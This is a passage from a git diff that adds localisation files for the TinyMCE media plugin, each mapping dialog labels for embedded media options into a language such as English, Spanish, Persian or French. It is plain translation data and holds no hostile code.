\u03cd\u03c8\u03bf\u03c5\u03c2",controls:"\u03a7\u03b5\u03b9\u03c1\u03b9\u03c3\u03c4\u03ae\u03c1\u03b9\u03b1",numloop:"\u03a0\u03cc\u03c3\u03b5\u03c2 \u03c6\u03bf\u03c1\u03ad\u03c2 \u03b8\u03b1 \u03c0\u03b1\u03af\u03be\u03b5\u03b9",console:"\u039a\u03bf\u03bd\u03c3\u03cc\u03bb\u03b1",cache:"\u039c\u03bd\u03ae\u03bc\u03b7 cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"\u039c\u03b5\u03c4\u03b1\u03b2\u03bb\u03b7\u03c4\u03ad\u03c2 Flash",base:"\u0392\u03ac\u03c3\u03b7",bgcolor:"\u03a6\u03cc\u03bd\u03c4\u03bf",wmode:"WMode",salign:"SAlign",align:"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",scale:"\u039a\u03bb\u03af\u03bc\u03b1\u03ba\u03b1",quality:"\u03a0\u03bf\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1",shuffle:"\u03a4\u03c5\u03c7\u03b1\u03af\u03b1 \u03c3\u03b5\u03b9\u03c1\u03ac",prefetch:"\u03a0\u03c1\u03bf\u03c6\u03cc\u03c1\u03c4\u03c9\u03c3\u03b7",nojava:"\u03a7\u03c9\u03c1\u03af\u03c2 java",maintainaspect:"\u0394\u03b9\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7 \u03b1\u03bd\u03b1\u03bb\u03bf\u03b3\u03af\u03b1\u03c2 \u03c0\u03bb. - \u03cd\u03c8\u03bf\u03c5\u03c2",imagestatus:"\u039a\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",center:"\u039a\u03ad\u03bd\u03c4\u03c1\u03bf",autogotourl:"\u0391\u03c5\u03c4\u03cc\u03bc\u03b1\u03c4\u03b7 \u03bc\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03bf URL","shockwave_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Shockwave","rmp_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Real media player","wmp_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Windows media player","qt_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Quicktime","flash_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Flash",hidden:"\u039a\u03c1\u03c5\u03c6\u03cc","align_bottom_left":"\u039a\u03ac\u03c4\u03c9 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_bottom_right":"\u039a\u03ac\u03c4\u03c9 \u03b4\u03b5\u03be\u03b9\u03ac","html5_video_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 HTML5 Video",altsource1:"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03c0\u03b7\u03b3\u03ae 1",altsource2:"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03c0\u03b7\u03b3\u03ae 2",preload:"\u03a0\u03c1\u03bf\u03c6\u03cc\u03c1\u03c4\u03c9\u03c3\u03b7",poster:"\u0391\u03c6\u03af\u03c3\u03b1",source:"\u03a0\u03b7\u03b3\u03ae","html5_audio_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 \u03ae\u03c7\u03bf\u03c5","embedded_audio_options":"Embedded Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/en_dlg.js b/js/tiny_mce2/plugins/media/langs/en_dlg.js new file mode 100755 index 0000000..d0aaa13 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.media_dlg',{list:"List",file:"File/URL",advanced:"Advanced",general:"General",title:"Insert/Edit Embedded Media","align_top_left":"Top Left","align_center":"Center","align_left":"Left","align_bottom":"Bottom","align_right":"Right","align_top":"Top","qt_stream_warn":"Streamed RTSP resources should be added to the QT Source field under the Advanced tab.\nYou should also add a non-streamed version to the Source field.",qtsrc:"QT Source",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch Style",scriptcallbacks:"Script Callbacks","align_top_right":"Top Right",uimode:"UI Mode",rate:"Rate",playcount:"Play Count",defaultframe:"Default Frame",currentposition:"Current Position",currentmarker:"Current Marker",captioningid:"Captioning ID",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless Video",stretchtofit:"Stretch to Fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Full Screen",enabled:"Enabled",autostart:"Auto Start",volume:"Volume",target:"Target",qtsrcchokespeed:"Choke Speed",href:"HREF",endtime:"End Time",starttime:"Start Time",enablejavascript:"Enable JavaScript",correction:"No Correction",targetcache:"Target Cache",playeveryframe:"Play Every Frame",kioskmode:"Kiosk Mode",controller:"Controller",menu:"Show Menu",loop:"Loop",play:"Auto Play",hspace:"H-Space",vspace:"V-Space","class_name":"Class",name:"Name",id:"ID",type:"Type",size:"Dimensions",preview:"Preview","constrain_proportions":"Constrain Proportions",controls:"Controls",numloop:"Num Loops",console:"Console",cache:"Cache",autohref:"Auto HREF",liveconnect:"SWLiveConnect",flashvars:"Flash Vars",base:"Base",bgcolor:"Background",wmode:"WMode",salign:"SAlign",align:"Align",scale:"Scale",quality:"Quality",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No Java",maintainaspect:"Maintain Aspect",imagestatus:"Image Status",center:"Center",autogotourl:"Auto Goto URL","shockwave_options":"Shockwave Options","rmp_options":"Real Media Player Options","wmp_options":"Windows Media Player Options","qt_options":"QuickTime Options","flash_options":"Flash Options",hidden:"Hidden","align_bottom_left":"Bottom Left","align_bottom_right":"Bottom Right","embedded_audio_options":"Embedded Audio Options","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/es_dlg.js b/js/tiny_mce2/plugins/media/langs/es_dlg.js new file mode 100755 index 0000000..9814278 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.media_dlg',{list:"Lista",file:"Archivo/URL",advanced:"Avanzado",general:"General",title:"Insertar/editar medio embebido","align_top_left":"Arriba Izda.","align_center":"Centrado","align_left":"Izquierda","align_bottom":"Debajo","align_right":"Derecha","align_top":"Arriba","qt_stream_warn":"Los recursos rtsp de Streaming deber\u00edan a\u00f1adirse en el campo QT Src de la pesta\u00f1a avanzada.\nAdem\u00e1s deber\u00eda a\u00f1adir una versi\u00f3n no Streaming en el campo Src.",qtsrc:"QT Src",progress:"Progreso",sound:"Sonido",swstretchvalign:"Alin. V. Estiramiento",swstretchhalign:"Alin. H. Estiramiento",swstretchstyle:"Estilo estiramiento",scriptcallbacks:"Script callbacks","align_top_right":"Arriba Dcha.",uimode:"Modo UI",rate:"Ratio",playcount:"Cuantas reproducciones",defaultframe:"Frame predet.",currentposition:"Posici\u00f3n actual",currentmarker:"Marcador actual",captioningid:"Captioning id",baseurl:"URL Base",balance:"Balance",windowlessvideo:"Video sin ventana",stretchtofit:"Estirar para ajustar",mute:"Silencio",invokeurls:"Invocar URLs",fullscreen:"Pantalla Completa",enabled:"Habilitado",autostart:"Comienzo Autom\u00e1tico",volume:"Volumen",target:"Target",qtsrcchokespeed:"Vel. de choque",href:"Href",endtime:"Fin",starttime:"Inicio",enablejavascript:"Habilitar JavaScript",correction:"Sin correci\u00f3n",targetcache:"Target cache",playeveryframe:"Reproducir todo los frames",kioskmode:"Kiosk mode",controller:"Controller",menu:"Mostrar Men\u00fa",loop:"Repetitivo",play:"Comienzo Autom\u00e1tico",hspace:"H-Space",vspace:"V-Space","class_name":"Clase",name:"Nombre",id:"Id",type:"Tipo",size:"Dimensiones",preview:"Vista Previa","constrain_proportions":"Bloquear relaci\u00f3n de aspecto",controls:"Controles",numloop:"N\u00fam. repeticiones",console:"Consola",cache:"Cach\u00e9",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Variables de flash",base:"Base",bgcolor:"Fondo",wmode:"WMode",salign:"SAlign",align:"Alineaci\u00f3n",scale:"Escalar",quality:"Calidad",shuffle:"Aleatorio",prefetch:"Preb\u00fasqueda",nojava:"Sin java",maintainaspect:"Mantener aspecto",imagestatus:"Estado de imagen",center:"Centrado",autogotourl:"Ir a URL autom\u00e1t.","shockwave_options":"Opciones Shockwave","rmp_options":"Opciones Real media player","wmp_options":"Opciones Windows media player","qt_options":"Opciones Quicktime","flash_options":"Opciones Flash",hidden:"Hidden","align_bottom_left":"Debajo Izda.","align_bottom_right":"Debajo Dcha.",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Opciones sobre Audio incrustado",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Opciones Video HTML5",altsource1:"Fuente alternativa 1",altsource2:"Fuente alternativa 2",preload:"Precarga",poster:"P\u00f3ster",source:"Fuente","html5_audio_options":"Opciones de audio","preload_none":"No recargar","preload_metadata":"Metadatos de la precarga de v\u00eddeo","preload_auto":"Permitir que decida el navegador del usuario",iframe:"iframe",embeddedaudio:"audio incrustado"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/et_dlg.js b/js/tiny_mce2/plugins/media/langs/et_dlg.js new file mode 100755 index 0000000..0e305b0 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.media_dlg',{list:"Nimekiri",file:"Fail/URL",advanced:"T\u00e4psem",general:"\u00dcldine",title:"Sisesta/muuda meediat","align_top_left":"\u00dcleval vasakul","align_center":"Keskel","align_left":"Vasakul","align_bottom":"All","align_right":"Paremal","align_top":"\u00dcleval","qt_stream_warn":"Striimitav variant peaks olema lisatud.",qtsrc:"QT Src",progress:"Progress",sound:"Heli",swstretchvalign:"Venita V-joondust",swstretchhalign:"Venita H-joondust",swstretchstyle:"Venita stiili",scriptcallbacks:"Skripti tagasikutse","align_top_right":"Pleval paremal",uimode:"UI Reziim",rate:"Hinda",playcount:"M\u00e4ngukorrad",defaultframe:"Vaikimisi raam",currentposition:"Antud positioon",currentmarker:"Antud marker",captioningid:"Tiitri ID",baseurl:"Baas URL",balance:"Tasakaal",windowlessvideo:"Aknata video",stretchtofit:"Venita sobivaks",mute:"Vaigista",invokeurls:"N\u00e4ita URL\u2019e",fullscreen:"T\u00e4isekraan",enabled:"Lubatud",autostart:"Auto-start",volume:"Valjudus",target:"Sihtm\u00e4rk",qtsrcchokespeed:"Kiirus",href:"Href",endtime:"L\u00f5pu aeg",starttime:"Stardi aeg",enablejavascript:"Luba JavaScript\u2019i",correction:"Parandust ei ole",targetcache:"Sihtm\u00e4rgi vahem\u00e4lu",playeveryframe:"M\u00e4ngi igat raami",kioskmode:"Kioski reziim",controller:"Kontrollija",menu:"N\u00e4ita men\u00fc\u00fcd",loop:"Auto-kordus",play:"Auto-start",hspace:"H-vahe",vspace:"V-vahe","class_name":"Klass",name:"Nime",id:"ID",type:"T\u00fc\u00fcp",size:"M\u00f5\u00f5dud",preview:"Eelvaade","constrain_proportions":"S\u00e4ilita proportsioon",controls:"Kontrollid",numloop:"Kordused",console:"Konsool",cache:"Vahem\u00e4lu",autohref:"Auto-HREF",liveconnect:"SWLive-\u00dchendus",flashvars:"Flashiv\u00e4rk",base:"Baas",bgcolor:"Taust",wmode:"WMoodus",salign:"SJoondus",align:"Joondus",scale:"M\u00f5\u00f5tkava",quality:"Kvaliteet",shuffle:"Sega",prefetch:"Prefetch",nojava:"Ilma java\u2019ta",maintainaspect:"S\u00e4ilitamise aspekt",imagestatus:"Pildi staatus",center:"Keskel",autogotourl:"Auto-URL","shockwave_options":"Shockwave\u2019i seaded","rmp_options":"Real media player\u2019i seaded","wmp_options":"Windows media player\u2019i seaded","qt_options":"Quicktime\u2019 seaded","flash_options":"Flash\u2019i seaded",hidden:"Peidetud","align_bottom_left":"All vasakul","align_bottom_right":"All paremal",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Manustatud heli valikud",windowsmedia:"windowsmedia",realmedia:"realmedia ",shockwave:"shockwave ",audio:"audio",video:"video","html5_video_options":"HTML5 video valikud",altsource1:"Alternatiivallikas 1",altsource2:"Alternatiivallikas 2",preload:"Eellae",poster:"Poster",source:"Allikas","html5_audio_options":"Heli valikud","preload_none":"\u00c4ra eellae","preload_metadata":"Eellae video metaandmed","preload_auto":"Lase kasutaja brauseril otsustada",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/fa_dlg.js b/js/tiny_mce2/plugins/media/langs/fa_dlg.js new file mode 100755 index 0000000..56f2e63 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.media_dlg',{list:"\u0644\u06cc\u0633\u062a",file:"\u0641\u0627\u06cc\u0644/URL",advanced:"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647",general:"\u0639\u0645\u0648\u0645\u06cc",title:"\u062f\u0631\u062c / \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0631\u0633\u0627\u0646\u0647 \u062c\u0627\u0633\u0627\u0632\u06cc \u0634\u062f\u0647 (Embeded Media)","align_top_left":"\u0628\u0627\u0644\u0627 \u0686\u067e","align_center":"\u0648\u0633\u0637","align_left":"\u0686\u067e","align_bottom":"\u067e\u0627\u06cc\u06cc\u0646","align_right":"\u0631\u0627\u0633\u062a","align_top":"\u0628\u0627\u0644\u0627","qt_stream_warn":"\u0645\u0646\u0627\u0628\u0639 Streamed rtsp \u0628\u0627\u06cc\u062f \u062f\u0631 \u0628\u0631\u06af\u0647 (Tab) \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u062f\u0631 \u0641\u06cc\u0644\u062f \u0645\u0646\u0628\u0639 QT \u0627\u0636\u0627\u0641\u0647 \u0634\u0648\u062f.\n\u0634\u0645\u0627 \u0628\u0627\u06cc\u062f \u0647\u0645\u0686\u0646\u06cc\u0646 \u06cc\u06a9 \u0646\u0633\u062e\u0647 \u063a\u06cc\u0631 streamed \u0631\u0627 \u062f\u0631 \u0641\u06cc\u0644\u062f \u0645\u0646\u0628\u0639 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f..",qtsrc:"\u0645\u0646\u0628\u0639 QT",progress:"\u067e\u06cc\u0634\u0631\u0641\u062a",sound:"\u0635\u062f\u0627",swstretchvalign:"\u06a9\u0634\u06cc\u062f\u0646 \u062a\u0631\u0627\u0632 \u0639\u0645\u0648\u062f\u06cc",swstretchhalign:"\u06a9\u0634\u06cc\u062f\u0646 \u062a\u0631\u0627\u0632 \u0627\u0641\u0642\u06cc",swstretchstyle:"\u06a9\u0634\u06cc\u062f\u0646 \u0627\u0633\u062a\u06cc\u0644",scriptcallbacks:"\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a Callbacks","align_top_right":"\u0628\u0627\u0644\u0627 \u0631\u0627\u0633\u062a",uimode:"\u062d\u0627\u0644\u062a UI",rate:"\u0646\u0631\u062e",playcount:"\u062a\u0639\u062f\u0627\u062f \u067e\u062e\u0634",defaultframe:"\u0641\u0631\u06cc\u0645 \u067e\u06cc\u0634\u0641\u0631\u0636",currentposition:"\u0645\u0648\u0642\u0639\u06cc\u062a \u0641\u0639\u0644\u06cc",currentmarker:"\u0646\u0634\u0627\u0646\u06af\u0631 \u0641\u0639\u0644\u06cc",captioningid:"\u0634\u0646\u0627\u0633\u0647 \u0639\u0646\u0648\u0627\u0646",baseurl:"URL \u067e\u0627\u06cc\u0647",balance:"\u062a\u0648\u0627\u0632\u0646 (Balance)",windowlessvideo:"\u0648\u06cc\u062f\u0626\u0648\u06cc \u06a9\u0645 \u067e\u0646\u062c\u0631\u0647",stretchtofit:"\u06a9\u0634\u06cc\u062f\u0646 \u062c\u0647\u062a \u06af\u0646\u062c\u0627\u0646\u062f\u0646 \u06a9\u0627\u0645\u0644",mute:"\u0628\u06cc \u0635\u062f\u0627",invokeurls:"Invoke URLs",fullscreen:"\u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647",enabled:"\u0641\u0639\u0627\u0644 \u0634\u062f\u0647",autostart:"\u0634\u0631\u0648\u0639 \u0627\u062a\u0648\u0645\u0627\u062a\u06cc\u06a9",volume:"\u0628\u0644\u0646\u062f\u06cc \u0635\u062f\u0627",target:"\u0645\u0642\u0635\u062f (Target)",qtsrcchokespeed:"\u0633\u0631\u0639\u062a Choke",href:"Href",endtime:"\u0632\u0645\u0627\u0646 \u067e\u0627\u06cc\u0627\u0646",starttime:"\u0632\u0645\u0627\u0646 \u0634\u0631\u0648\u0639",enablejavascript:"\u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 JavaScript",correction:"\u0628\u062f\u0648\u0646 \u062a\u0635\u062d\u06cc\u062d",targetcache:"\u06a9\u0634 \u0645\u0642\u0635\u062f (Target Cache)",playeveryframe:"\u067e\u062e\u0634 \u0647\u0631 \u0641\u0631\u06cc\u0645 (Frame)",kioskmode:"\u062d\u0627\u0644\u062a Kiosk",controller:"\u06a9\u0646\u062a\u0631\u0644 \u06a9\u0646\u0646\u062f\u0647",menu:"\u0646\u0645\u0627\u06cc\u0634 \u0645\u0646\u0648",loop:"\u062d\u0644\u0642\u0647 (Loop)",play:"\u067e\u062e\u0634 \u0627\u062a\u0648\u0645\u0627\u062a\u06cc\u06a9",hspace:"\u0641\u0627\u0635\u0644\u0647 \u0627\u0641\u0642\u06cc",vspace:"\u0641\u0627\u0635\u0644\u0647 \u0639\u0645\u0648\u062f\u06cc","class_name":"\u06a9\u0644\u0627\u0633",name:"\u0646\u0627\u0645",id:"\u0634\u0646\u0627\u0633\u0647",type:"\u0646\u0648\u0639",size:"\u0627\u0628\u0639\u0627\u062f",preview:"\u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634","constrain_proportions":"\u062d\u0641\u0638 \u062a\u0646\u0627\u0633\u0628",controls:"\u06a9\u0646\u062a\u0631\u0644 \u0647\u0627",numloop:"\u062a\u0639\u062f\u0627\u062f \u062d\u0644\u0642\u0647 \u0647\u0627",console:"\u06a9\u0646\u0633\u0648\u0644",cache:"\u06a9\u0634",autohref:"HREF \u0627\u062a\u0648\u0645\u0627\u062a\u06cc\u06a9",liveconnect:"\u0627\u0631\u062a\u0628\u0627\u0637 SWLive",flashvars:"\u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc Flash",base:"\u067e\u0627\u06cc\u0647 (Base)",bgcolor:"\u0632\u0645\u06cc\u0646\u0647",wmode:"WMode",salign:"SAlign",align:"\u062a\u0631\u0627\u0632",scale:"\u0645\u0642\u06cc\u0627\u0633",quality:"\u06a9\u06cc\u0641\u06cc\u062a",shuffle:"\u062f\u0631 \u0647\u0645 \u0622\u0645\u06cc\u062e\u062a\u0646",prefetch:"\u067e\u06cc\u0634 \u0648\u0627\u06a9\u0634\u06cc",nojava:"\u0628\u062f\u0648\u0646 java",maintainaspect:"\u062d\u0641\u0638 \u062a\u0646\u0627\u0633\u0628 \u0648\u062c\u0648\u0647",imagestatus:"\u0648\u0636\u0639\u06cc\u062a \u062a\u0635\u0648\u06cc\u0631",center:"\u0648\u0633\u0637",autogotourl:"\u0631\u0641\u062a\u0646 \u0627\u062a\u0648\u0645\u0627\u062a\u06cc\u06a9 \u0628\u0647 URL","shockwave_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a Shockwave","rmp_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a Real media player","wmp_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a Windows media player","qt_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a Quicktime","flash_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0641\u0644\u0634",hidden:"\u0645\u062e\u0641\u06cc","align_bottom_left":"\u067e\u0627\u06cc\u06cc\u0646 \u0686\u067e","align_bottom_right":"\u067e\u0627\u06cc\u06cc\u0646 \u0631\u0627\u0633\u062a",preload:"\u067e\u06cc\u0634\u200c\u0628\u0627\u0631\u06af\u06cc\u0631\u06cc",source:"\u0645\u0646\u0628\u0639","embedded_audio_options":"Embedded Audio Options","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",poster:"Poster","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/fi_dlg.js b/js/tiny_mce2/plugins/media/langs/fi_dlg.js new file mode 100755 index 0000000..2ac2fca --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.media_dlg',{list:"Lista",file:"Tiedosto/URL",advanced:"Edistyneet",general:"Yleiset",title:"Lis\u00e4\u00e4/muokkaa upotettua mediaa","align_top_left":"Yl\u00e4-vasemmalla","align_center":"Keskell\u00e4","align_left":"Vasemmalla","align_bottom":"Alhaalla","align_right":"Oikealla","align_top":"Ylh\u00e4\u00e4ll\u00e4","qt_stream_warn":"Streamatut rtsp-resurssit tulisi lis\u00e4t\u00e4 QT Src -kentt\u00e4\u00e4n edistynyt-v\u00e4lilehdelle.\nSinun kannattaa lis\u00e4t\u00e4 my\u00f6s ei-streamattu versio Src-kentt\u00e4\u00e4n.",qtsrc:"QT Src",progress:"Eteneminen",sound:"\u00c4\u00e4ni",swstretchvalign:"Venyt\u00e4 pystysuunnassa",swstretchhalign:"Venyt\u00e4 vaakasuunnassa",swstretchstyle:"Venytystyyli",scriptcallbacks:"Skriptin takaisinkutsut","align_top_right":"Yl\u00e4-oikealla",uimode:"UI-moodi",rate:"Rate",playcount:"Toistolaskin",defaultframe:"Oletusruutu",currentposition:"T\u00e4m\u00e4nhetkinen sijainti",currentmarker:"T\u00e4m\u00e4nhetkinen merkki",captioningid:"Otsikointi-id",baseurl:"Perus URL-osoitteet",balance:"Tasapaino",windowlessvideo:"Ikkunaton video",stretchtofit:"Venyt\u00e4 sopimaan",mute:"Hiljennys",invokeurls:"Kutsu URL-osoitteet",fullscreen:"Kokoruutu",enabled:"P\u00e4\u00e4ll\u00e4",autostart:"Automaattinen aloitus",volume:"\u00c4\u00e4nen voimakkuus",target:"Kohde",qtsrcchokespeed:"Choke-nopeus",href:"Href",endtime:"Lopetusaika",starttime:"Aloitusaika",enablejavascript:"Salli JavaScript",correction:"Ei korjausta",targetcache:"Kohteen v\u00e4limuisti",playeveryframe:"Toista jokainen ruutu",kioskmode:"Kioskitila",controller:"Ohjain",menu:"N\u00e4yt\u00e4 valikko",loop:"Silmukka",play:"Automaattinen toisto",hspace:"Vaakatason tila",vspace:"Pystytason tila","class_name":"Luokka",name:"Nimi",id:"Tunniste",type:"Tyyppi",size:"Mitat",preview:"Esikatselu","constrain_proportions":"S\u00e4ilyt\u00e4 mittasuhteet",controls:"Kontrollit",numloop:"Toistojen m\u00e4\u00e4r\u00e4",console:"Konsoli",cache:"V\u00e4limuisti",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash-muuttujat",base:"Perusta",bgcolor:"Tausta",wmode:"WMode",salign:"SAlign",align:"Tasaus",scale:"Skaala",quality:"Laatu",shuffle:"Sekoita",prefetch:"Esinouda",nojava:"Ei Javaa",maintainaspect:"S\u00e4ilyt\u00e4 kuvasuhde",imagestatus:"Kuvan tila",center:"Keskit\u00e4",autogotourl:"Mene automaattisesti URL:iin","shockwave_options":"Shockwaven asetukset","rmp_options":"Real media playerin asetukset","wmp_options":"Windows media playerin asetukset","qt_options":"Quicktimen asetukset","flash_options":"Flashin asetukset",hidden:"Piilotettu","align_bottom_left":"Ala-vasemmalla","align_bottom_right":"Ala-oikealla",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Upotetun \u00e4\u00e4nen asetukset",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"HTML5 videoasetukset",altsource1:"Vaihtoehtoinen l\u00e4hde 1",altsource2:"Vaihtoehtoinen l\u00e4hde 2",preload:"Esilataa",poster:"Posteri",source:"L\u00e4hde","html5_audio_options":"\u00c4\u00e4niasetukset","preload_none":"\u00c4l\u00e4 esilataa","preload_metadata":"Esilataa videon metatiedot","preload_auto":"Anna k\u00e4ytt\u00e4j\u00e4n selaimen p\u00e4\u00e4tt\u00e4\u00e4",iframe:"iframe",embeddedaudio:"upotettu audio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/fr_dlg.js b/js/tiny_mce2/plugins/media/langs/fr_dlg.js new file mode 100755 index 0000000..90b0102 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.media_dlg',{list:"Liste",file:"Fichier / URL",advanced:"Avanc\u00e9",general:"G\u00e9n\u00e9ral",title:"Ins\u00e9rer / \u00e9diter un fichier m\u00e9dia","align_top_left":"En haut \u00e0 gauche","align_center":"Centr\u00e9","align_left":"Gauche","align_bottom":"Bas","align_right":"Droite","align_top":"Haut","qt_stream_warn":"Les ressources rtsp en streaming doivent \u00eatre ajout\u00e9es au champ \u00ab Source QT \u00bb dans l\'onglet avanc\u00e9.\nVous devriez aussi ajouter une version n\'\u00e9tant pas en streaming au champ \u00ab source QT \u00bb.",qtsrc:"Source QT",progress:"Progression",sound:"Son",swstretchvalign:"Stretch vertical",swstretchhalign:"Stretch horizontal",swstretchstyle:"Stretch style",scriptcallbacks:"Callback de script","align_top_right":"En haut \u00e0 droite",uimode:"Mode UI",rate:"Taux",playcount:"Compteur",defaultframe:"Image par d\u00e9faut",currentposition:"Position actuelle",currentmarker:"Marqueur actuel",captioningid:"ID sous-titrage",baseurl:"Adresse de base",balance:"Balance",windowlessvideo:"Vid\u00e9o sans fen\u00eatre",stretchtofit:"\u00c9tendre pour adapter la taille",mute:"Muet",invokeurls:"Invoquer URLs",fullscreen:"Plein \u00e9cran",enabled:"Activ\u00e9",autostart:"Lire automatiquement",volume:"Volume",target:"Cible",qtsrcchokespeed:"D\u00e9bit maximum",href:"Href",endtime:"Fin",starttime:"D\u00e9but",enablejavascript:"Activer le JavaScript",correction:"Pas de correction",targetcache:"Cache cible",playeveryframe:"Jouer toutes les images",kioskmode:"Mode kiosque",controller:"Contr\u00f4leur",menu:"Afficher le menu",loop:"Lire en boucle",play:"Lecture automatique",hspace:"Espacement horizontal",vspace:"Espacement vertical","class_name":"Classe",name:"Nom",id:"Id",type:"Type",size:"Dimensions",preview:"Pr\u00e9visualisation","constrain_proportions":"Conserver les proportions",controls:"Contr\u00f4les",numloop:"Nombre de tours",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Variables flash",base:"Base",bgcolor:"Fond",wmode:"WMode",salign:"SAlign",align:"Alignement",scale:"\u00c9chelle",quality:"Qualit\u00e9",shuffle:"Al\u00e9atoire",prefetch:"Pr\u00e9chargement",nojava:"Pas java",maintainaspect:"Maintenir l\'aspect",imagestatus:"Statut de l\'image",center:"Centrer",autogotourl:"Aller automatiquement \u00e0 l\'URL","shockwave_options":"Options Shockwave","rmp_options":"Options Real media player","wmp_options":"Windows media player options","qt_options":"Options Quicktime","flash_options":"Options Flash",hidden:"Cach\u00e9","align_bottom_left":"En bas \u00e0 gauche","align_bottom_right":"En bas \u00e0 droite",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Options audio int\u00e9gr\u00e9es",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"vid\u00e9o","html5_video_options":"Options Vid\u00e9o HTML 5",altsource1:"Source alternative 1",altsource2:"Source alternative 2",preload:"Pr\u00e9chargement",poster:"Poster",source:"Source","html5_audio_options":"Options audio","preload_none":"Ne pas pr\u00e9charger","preload_metadata":"Pr\u00e9charger les m\u00e9tadonn\u00e9es vid\u00e9o","preload_auto":"Laisser le fureteur de l\'utilisateur d\u00e9cider",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/gl_dlg.js b/js/tiny_mce2/plugins/media/langs/gl_dlg.js new file mode 100755 index 0000000..c4848f3 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.media_dlg',{list:"Lista",file:"Arquivo/URL",advanced:"Avanzado",general:"Xeral",title:"Insertar/editar medio embebido","align_top_left":"Arriba 